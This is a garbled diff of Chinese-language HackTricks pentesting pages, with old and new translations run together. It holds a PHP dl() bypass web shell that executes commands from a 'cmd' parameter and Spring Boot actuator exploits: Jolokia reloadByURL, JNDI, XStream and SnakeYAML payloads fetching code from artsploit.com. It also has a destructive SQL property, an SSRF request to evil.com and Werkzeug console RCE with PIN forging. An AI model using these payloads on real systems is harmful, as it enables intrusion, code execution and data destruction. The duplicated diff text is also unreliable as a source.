注意PHP的主要版本使用不同的API版本为了能够在一个主机上编译扩展并上传到另一个主机API版本必须匹配。这就是为什么最初在攻击者的机器上安装相同PHP版本的原因。
为了使用dl函数加载扩展扩展需要位于由extension_dir指令定义的扩展目录中。
这可能是一个问题,因为攻击者不太可能拥有该目录的写权限,但是有办法解决这个问题。
开发人员在dl函数页面的注释部分讨论了这个问题。
讨论的概念是使用从定义的扩展目录的相对路径。
例如,如果扩展目录设置为/usr/php/extensions并且你想在当前的web目录/home/example.com/html中加载bypass.so你可以按照以下方式操作
```php
<?php
dl('../../../home/example.com/html/bypass.so');
?>
```
此方法可以绕过需要将扩展放在定义的扩展目录中的限制。
还有一种自动化的方法,这样您就不必为不同的主机更改相对路径,这段代码是由 endofyourself \[at\] yahoo \[dot\] com 创建,并由 mag\_2000 \[at\] front \[dot\] ru 后来进行了改进。
该函数有一个小问题,在某些主机上,扩展目录被设置为 "./",这个函数没有考虑到如果扩展目录被设置为相对路径的情况,解决这个问题的方法是使用 realpath 函数。
最终用于加载扩展并执行系统命令以绕过禁用函数的脚本如下:
```php
<?php
function dl_local( $extensionFile ) {
if(!(bool)ini_get('enable_dl')
||(bool)ini_get('safe_mode')){
die('Loading extensions is not permitted.');
}
if(!file_exists($extensionFile)){
die('File '.$extensionFile.' does not exist.');
}
if(!is_executable($extensionFile)){
die('File '.$extensionFile.' is not executable. ( chmod +x '.$extensionFile.' )');
}
$currentDir = getcwd().'/';
$currentExtPath = realpath(ini_get('extension_dir'));
$subDirs = preg_match_all("/\//",$currentExtPath ,$matches);
unset($matches);
if(!(bool)$subDirs){
die('Could not determine a valid extension path [extension_dir]');
}
$extPathLastChar=strlen($currentExtPath )-1;
if($extPathLastChar==strrpos($currentExtPath,'/')){
$subDirs--;}$backDirStr = '';
for($i = 1; $i <= $subDirs; $i++){
$backDirStr .='..';
if($i != $subDirs){
$backDirStr .='/';
}
}
$finalExtPath = $backDirStr.$currentDir.$extensionFile;
if(!dl($finalExtPath)){
die();
}
$loadedExtensions = get_loaded_extensions();
$thisExtName = $loadedExtensions[sizeof($loadedExtensions)-1];
return $thisExtName;
}
@ini_set ('display_errors','1');
error_reporting(E_ALL);
dl_local('bypass.so');
if(@$_GET['cmd']){
$output = bypass_exec($_GET['cmd']);
echo '<pre>'.$output.'</pre>';
}
?>
```
攻击者现在只需调用带有所需命令的 cmd 变量的脚本 URL 即可执行命令。
```
http://www.example.com/script.php?cmd=ls
```
<details> <details>
<summary><strong>从零开始学习AWS黑客攻击直到成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式: 支持HackTricks的其他方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>

View file

@ -2,15 +2,15 @@
<details> <details>
<summary><strong>从零到英雄学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式 支持HackTricks的其他方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 **关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
@ -20,64 +20,29 @@
**来自** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)\*\*\*\* **来自** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)\*\*\*\*
## 利用Spring Boot Actuators ## Exploiting Spring Boot Actuators
**复制自** [**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators) **查看原始帖子** [**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
Spring Boot框架包括一些称为actuators的功能以帮助您在将web应用程序推送到生产环境时进行监控和管理。它们旨在用于审计、健康检查和指标收集但如果配置不当也可能为您的服务器打开一个隐藏的门。 ### **关键点:**
当Spring Boot应用程序运行时它会自动将几个端点如'/health'、'/trace'、'/beans'、'/env'等注册到路由过程中。对于Spring Boot 1 - 1.4这些端点可以在没有认证的情况下访问导致安全性问题。从Spring版本1.5开始,除了'/health'和'/info'之外的所有端点都被认为是敏感的,并默认受到保护,但应用程序开发者经常禁用这种安全性。 - Spring Boot Actuators注册诸如`/health`、`/trace`、`/beans`、`/env`等端点。在1到1.4版本中这些端点可以在无需身份验证的情况下访问。从1.5版本开始,默认情况下只有`/health`和`/info`是非敏感的,但开发人员经常禁用此安全性。
- 某些Actuator端点可能会暴露敏感数据或允许有害操作
- `/dump`、`/trace`、`/logfile`、`/shutdown`、`/mappings`、`/env`、`/actuator/env`、`/restart`和`/heapdump`。
- 在Spring Boot 1.x中actuators注册在根URL下而在2.x中它们在`/actuator/`基本路径下。
以下Actuator端点可能具有安全隐患导致潜在的漏洞 ### **利用技术:**
* /dump - 显示线程转储(包括堆栈跟踪) 1. **通过'/jolokia'实现远程代码执行**:
* /trace - 显示最近几条HTTP消息可能包括会话标识符 - `/jolokia` actuator端点暴露了Jolokia库允许通过HTTP访问MBeans。
* /logfile - 输出日志文件的内容 - `reloadByURL`操作可被利用从外部URL重新加载日志配置这可能导致通过精心制作的XML配置进行盲目XXE或远程代码执行。
* /shutdown - 关闭应用程序 - 示例利用URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`
* /mappings - 显示所有MVC控制器映射
* /env - 提供对配置环境的访问
* /actuator/env
* /restart - 重启应用程序
* /heapdump - 从应用程序使用的JVM构建并返回堆转储
对于Spring 1x它们在根URL下注册在2x中移动到了"/actuator/"基路径。 2. **通过'/env'修改配置**:
- 如果存在Spring Cloud库则`/env`端点允许修改环境属性。
- 可以操纵属性以利用漏洞例如Eureka serviceURL中的XStream反序列化漏洞。
- 示例利用POST请求:
**利用:**
大多数actuators仅支持GET请求并简单地揭示敏感配置数据但其中几个对于寻找shell的人特别有趣
**1. 通过'/jolokia'远程代码执行**
如果Jolokia库在目标应用程序类路径中它将自动由Spring Boot在'/jolokia' actuator端点下暴露。Jolokia允许HTTP访问所有注册的MBeans并设计用于执行您可以使用JMX执行的相同操作。可以使用以下URL列出所有可用的MBeans操作
[**http://127.0.0.1:8090/jolokia/list**](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
同样大多数MBeans操作只是揭示了一些系统数据但有一个特别有趣
![reloadByURL](https://www.veracode.com/sites/default/files/exploiting_spring_boot_actuators_jolokia.png)
'**reloadByURL**'操作由Logback库提供允许我们从外部URL重新加载日志配置。只需导航到[**http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml**](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
那么,我们为什么要关心日志配置呢?主要是因为两个原因:
1. 配置具有XML格式当然Logback在启用外部实体的情况下解析它因此它容易受到盲XXE的攻击。
2. Logback配置具有['从JNDI获取变量'](https://logback.qos.ch/manual/configuration.html#insertFromJNDI)的功能。在XML文件中我们可以包含一个标签如'**\<insertFromJNDI env-entry-name="java:comp/env/appName" as="appName" />**'name属性将传递给DirContext.lookup()方法。如果我们可以向.lookup()函数提供任意名称我们甚至不需要XXE或HeapDump因为它为我们提供了完整的**远程代码执行**。
**它是如何工作的:**
1\. 攻击者请求上述URL以执行'qos.logback.classic.jmx.JMXConfigurator'类提供的'reloadByURL'函数。
2\. 'reloadByURL'函数从[http://artsploit.com/logback.xml](http://artsploit.com/logback.xml)下载新配置并将其解析为Logback配置。这个恶意配置应该包含以下内容
```
<configuration>
<insertFromJNDI env-entry-name="ldap://artsploit.com:1389/jndi" as="appName" />
</configuration>
```
3\. 当这个文件在易受攻击的服务器上被解析时它会创建一个连接到攻击者控制的LDAP服务器该服务器在“env-entry-name”参数值中指定这导致JNDI解析。恶意LDAP服务器可能会返回一个带有'Reference'类型的对象,以触发**在目标应用程序上执行提供的字节码**。JNDI攻击在这篇[MicroFocus研究论文](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf)中有很好的解释。[新的JNDI利用技术](https://www.veracode.com/blog/research/exploiting-jndi-injections-java)之前在我们的博客中描述过也同样适用于此因为Tomcat是Spring Boot框架中默认的应用服务器。
**2. 通过'/env'修改配置**
如果Spring Cloud Libraries在类路径中**'/env'**端点允许你修改Spring环境属性。所有标注为'**@ConfigurationProperties**'的beans都可以被修改和重新绑定。我们可以控制的许多属性但不是全部都列在了'/configprops' actuator端点上。实际上有很多这样的属性但完全不清楚我们需要修改什么才能达到某种效果。在花了几天时间玩弄它们之后我们发现了这个
``` ```
POST /env HTTP/1.1 POST /env HTTP/1.1
Host: 127.0.0.1:8090 Host: 127.0.0.1:8090
@ -86,177 +51,41 @@ Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
``` ```
此属性将 Eureka serviceURL 修改为任意值。Eureka Server 通常用作发现服务器,几乎所有 Spring Cloud 应用程序都在其上注册并向其发送状态更新。如果您幸运地在目标类路径中有 Eureka-Client <1.8.7通常包含在 Spring Cloud Netflix 您可以利用其中的 **XStream 反序列化漏洞**您需要做的就是通过 '/env' 'eureka.client.serviceUrl.defaultZone' 属性设置为您的服务器 URL[http://artsploit.com/n/xstream](http://artsploit.com/n/xstream)然后调用 '/refresh' 端点之后您的服务器应该提供包含以下内容的 XStream 有效载荷
```markup
<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>
```
```markdown
此XStream有效载荷是从[Marshalsec research](https://github.com/mbechler/marshalsec)中的ImageIO JDK-only gadget chain略作修改的版本。唯一的区别在于使用**LinkedHashSet**来触发'jdk.nashorn.internal.objects.NativeString.hashCode()'方法。原始有效载荷利用java.lang.Map来实现相同的行为但是Eureka的XStream配置有一个[自定义的映射转换器](https://github.com/Netflix/eureka/blob/master/eureka-client/src/main/java/com/netflix/discovery/converters/XmlXStream.java#L58)这使得它不可用。上面的有效载荷根本不使用Maps可以用来实现远程代码执行无需额外限制。
使用Spring Actuators即使你没有访问内部Eureka服务器的权限你也可以利用这个漏洞你只需要一个可用的"/env"端点。 3. **其他有用的设置**:
- 可以操纵属性如`spring.datasource.tomcat.validationQuery`、`spring.datasource.tomcat.url`和`spring.datasource.tomcat.max-active`以进行各种利用例如SQL注入或更改数据库连接字符串。
**其他有用的设置:** ### **附加信息:**
**spring.datasource.tomcat.validationQuery=drop+table+users** - 允许你指定任何SQL查询它将自动针对当前数据库执行。它可以是任何语句包括insert、update或delete。 - 可在[此处](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt)找到默认actuators的全面列表。
- Spring Boot 2.x中的`/env`端点使用JSON格式进行属性修改但一般概念保持不变。
![Exploiting Spring Boot Actuators Drop Table](https://www.veracode.com/sites/default/files/exploiting_spring_boot_actuators_drop_table.png) ### **相关主题:**
**spring.datasource.tomcat.url**=jdbc:hsqldb:[https://localhost:3002/xdb](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators) - 允许你修改当前的JDBC连接字符串。 1. **Env + H2 RCE**:
- 有关利用`/env`端点和H2数据库组合的详细信息请查看[此处](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database)。
最后一个看起来很棒但问题是当运行数据库连接的应用程序已经建立时仅仅更新JDBC字符串并没有任何效果。幸运的是还有另一个属性可能在这种情况下帮助我们 2. **通过不正确的路径名解释在Spring Boot上进行SSRF**:
- Spring框架对HTTP路径名中的矩阵参数(`;`)的处理可用于利用服务器端请求伪造SSRF
- 示例利用请求:
**spring.datasource.tomcat.max-active**=777
我们可以使用的技巧是增加数据库的同时连接数。因此我们可以更改JDBC连接字符串增加连接数然后向应用程序发送许多请求以模拟重负载。在负载下应用程序将创建一个新的数据库连接使用更新的恶意JDBC字符串。我在本地针对Mysql测试了这种技术效果非常好。
![Exploiting Spring Boot Actuators Max Active](https://www.veracode.com/sites/default/files/exploiting_spring_boot_actuators_max_active.png)
除此之外,还有其他看起来有趣的属性,但实际上并不真正有用:
**spring.datasource.url** - 数据库连接字符串(仅用于第一次连接)
**spring.datasource.jndiName** - 数据库JNDI字符串仅用于第一次连接
**spring.datasource.tomcat.dataSourceJNDI** - 数据库JNDI字符串根本不使用
**spring.cloud.config.uri**=[http://artsploit.com/](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators) - spring cloud config url应用启动后没有任何效果只使用初始值。
这些属性除非调用'/restart'端点否则不会有任何效果。这个端点会重启所有ApplicationContext但默认情况下是禁用的。
还有很多其他有趣的属性,但大多数在更改后不会立即生效。
**注意** 在Spring Boot 2x中通过'/env'端点修改属性的请求格式略有不同它使用json格式但思路是相同的。
**一个易受攻击的应用示例:**
如果你想在本地测试这个漏洞我在我的Github页面上创建了一个[简单的Spring Boot应用程序](https://github.com/artsploit/actuator-testbed)。所有有效载荷都应该在那里工作,除了数据库设置(除非你配置它)。
**黑盒发现:**
默认actuators的完整列表可以在这里找到[https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt)。请记住,应用程序开发人员可以使用@Endpoint注解创建自己的端点。
**2019年5月更新**
通过Spring环境属性修改有一种更可靠的方法来实现RCE
```
```
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
spring.cloud.bootstrap.location=http://artsploit.com/yaml-payload.yml
```
此请求修改了 'spring.cloud.bootstrap.location' 属性,该属性用于加载外部配置并以 YAML 格式解析它。为了实现这一点,我们还需要调用 '/refresh' 端点。
```
POST /refresh HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
```
```markdown
当从远程服务器获取 YAML 配置时,它会使用 SnakeYAML 库进行解析该库也容易受到反序列化攻击。有效载荷yaml-payload.yml可以使用上述 Marshalsec 研究生成:
```
```
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
]]
]
```
反序列化此文件会触发使用提供的URLClassLoader执行ScriptEngineManager的构造函数。简而言之它会导致**'java.util.ServiceLoader#load(java.lang.Class\<S>, java.lang.ClassLoader)'** 方法,该方法尝试在类路径中的所有库中找到'ScriptEngineFactory'接口的所有实现。由于我们可以通过URLClassLoader添加新库我们可以提供一个包含恶意字节码的新'ScriptEngineFactory'。为此我们需要创建一个包含以下必须文件的jar存档[yaml-payload.jar:/artsploit/AwesomeScriptEngineFactory.class](https://github.com/artsploit/yaml-payload/blob/master/src/artsploit/AwesomeScriptEngineFactory.java) 应该包含实际的字节码,构造函数中有恶意载荷。
```
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("dig scriptengine.x.artsploit.com");
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
```
```markdown
[yaml-payload.jar:/META-INF/services/javax.script.ScriptEngineFactory](https://github.com/artsploit/yaml-payload/blob/master/src/META-INF/services/javax.script.ScriptEngineFactory) 应该只是一个文本文件,包含对 'artsploit.AwesomeScriptEngineFactory' 的完整引用,以便 ServiceLoader 知道在哪里找到类:**artsploit.AwesomeScriptEngineFactory** 同样,这种利用技术需要 spring cloud 在类路径中,但与 Eureka 的 XStream payload 相比,它即使在最新版本中也能工作。你可以在我的 github 项目中找到完整的 payload[yaml-payload](https://github.com/artsploit/yaml-payload)。
## Env + H2 RCE
查看此页面以了解如何利用 /env + H2 组合:[https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database)
## 通过错误的路径名解释在 Spring Boot 上的 SSRF <a href="#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation" id="heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation"></a>
[**来自这项研究**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation)Spring 框架接受矩阵参数分隔符 `;` 在 HTTP 路径名的第一个斜杠之前:
```
```http
GET ;1337/api/v1/me HTTP/1.1
Host: target.com
Connection: close
```
在如下场景中:
<figure><img src="../../.gitbook/assets/image (717).png" alt="" width="563"><figcaption></figcaption></figure>
考虑到Spring允许在矩阵参数分隔符后面跟任何字符因此也可以使用`@`字符来获取任意端点。
以下是利用请求的示例:
```http ```http
GET ;@evil.com/url HTTP/1.1 GET ;@evil.com/url HTTP/1.1
Host: target.com Host: target.com
Connection: close Connection: close
``` ```
## 更多信息
* [https://tutorialboy24.blogspot.com/2022/02/introduction-to-spring-boot-related.html](https://tutorialboy24.blogspot.com/2022/02/introduction-to-spring-boot-related.html)
* [https://blog.maass.xyz/spring-actuator-security-part-1-stealing-secrets-using-spring-actuators](https://blog.maass.xyz/spring-actuator-security-part-1-stealing-secrets-using-spring-actuators)
* [https://blog.maass.xyz/spring-actuator-security-part-2-finding-actuators-using-static-code-analysis-with-semgrep](https://blog.maass.xyz/spring-actuator-security-part-2-finding-actuators-using-static-code-analysis-with-semgrep)
<details> <details>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击技巧</strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式 支持HackTricks的其他方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>

View file

@ -1,91 +1,70 @@
# Werkzeug / Flask 调试 # Werkzeug / Flask Debug
<details> <details>
<summary><strong>从零开始学习 AWS 黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持 HackTricks 的其他方式: 支持HackTricks的其他方式
* 如果您希望在 **HackTricks 中看到您的公司广告****下载 HackTricks 的 PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord **](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
**即时可用的漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试,拥有 20 多个工具和功能,从侦察到报告。我们不替代渗透测试人员 - 我们开发定制工具、检测和利用模块,以便为他们节省时间,以便他们能够更深入地挖掘、弹出 shell并享受乐趣。 **即时提供的漏洞评估和渗透测试设置**。使用包含20多种工具和功能的完整渗透测试从侦察到报告。我们不取代渗透测试人员 - 我们开发定制工具、检测和利用模块让他们有更多时间深入挖掘、弹出shell并享受乐趣。
{% embed url="https://pentest-tools.com/" %} {% embed url="https://pentest-tools.com/" %}
## 控制台 RCE ## 控制台RCE
如果调试处于活动状态,您可以尝试访问 `/console` 并获得 RCE。 如果调试处于活动状态,您可以尝试访问`/console`并获取RCE。
```python ```python
__import__('os').popen('whoami').read(); __import__('os').popen('whoami').read();
``` ```
![](<../../.gitbook/assets/image (317).png>) ![](<../../.gitbook/assets/image (317).png>)
互联网上也有几个像[这个](https://github.com/its-arun/Werkzeug-Debug-RCE)或者在metasploit中的漏洞 互联网上还有一些漏洞利用,比如[这个](https://github.com/its-arun/Werkzeug-Debug-RCE)或者在metasploit中的一个
## Pin保护 - 路径遍历 ## Pin Protected - Path Traversal
在某些情况下,**`/console`** 端点会被一个pin保护。如果你有一个**文件遍历漏洞**你可以泄露所有生成该pin所需的信息 在某些情况下,**`/console`** 端点将受到 pin 保护。如果您有一个**文件遍历漏洞**,您可以泄露所有必要的信息来生成该 pin
### Werkzeug控制台PIN漏洞 ### Werkzeug Console PIN Exploit
**从第一个链接复制。**\ 强制应用程序中的调试错误页面以查看此内容:
通过在应用程序中强制调试错误页面查看Werkzeug“控制台锁定”消息。
``` ```
The console is locked and needs to be unlocked by entering the PIN. The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your You can find the PIN printed out on the standard output of your
shell that runs the server shell that runs the server
``` ```
路径 `vulnerable-site.com/console` 上定位到存在漏洞的 Werkzeug 调试控制台,但它被一个秘密的 PIN 码锁定 尝试访问Werkzeug的调试界面时遇到了“控制台已锁定”的情况表明需要输入PIN码才能解锁控制台。建议通过分析Werkzeug调试初始化文件(`__init__.py`)中的PIN生成算法来利用控制台PIN。可以从[**Werkzeug源代码存储库**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py)中研究PIN生成机制但建议通过文件遍历漏洞获取实际服务器代码以避免潜在的版本差异
您可以反向工程生成控制台 PIN 的算法。检查服务器上的 Werkzeug 调试 `__init__.py` 文件,例如 `python3.5/site-packages/werkzeug/debug/__init__.py`。您可以查看[**Werkzeug 源代码仓库**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py) **来检查 PIN 是如何生成的**,但通过**文件遍历漏洞**泄露源代码更佳,因为版本可能有所不同。 要利用控制台PIN需要两组变量`probably_public_bits`和`private_bits`
利用控制台 PIN 需要的变量:
```python
probably_public_bits = [
username,
modname,
getattr(app, '__name__', getattr(app.__class__, '__name__')),
getattr(mod, '__file__', None),
]
private_bits = [
str(uuid.getnode()),
get_machine_id(),
]
```
#### **`probably_public_bits`** #### **`probably_public_bits`**
- **`username`**指的是启动Flask会话的用户。
- **`modname`**:通常被指定为`flask.app`。
- **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**:通常解析为**Flask**。
- **`getattr(mod, '__file__', None)`**表示Flask目录中`app.py`的完整路径(例如,`/usr/local/lib/python3.5/dist-packages/flask/app.py`)。如果不适用`app.py`,请尝试`app.pyc`。
* **`username`** 是启动这个 Flask 的用户 #### **`private_bits`**
* **`modname`** 是 flask.app - **`uuid.getnode()`**获取当前计算机的MAC地址使用`str(uuid.getnode())`将其转换为十进制格式。
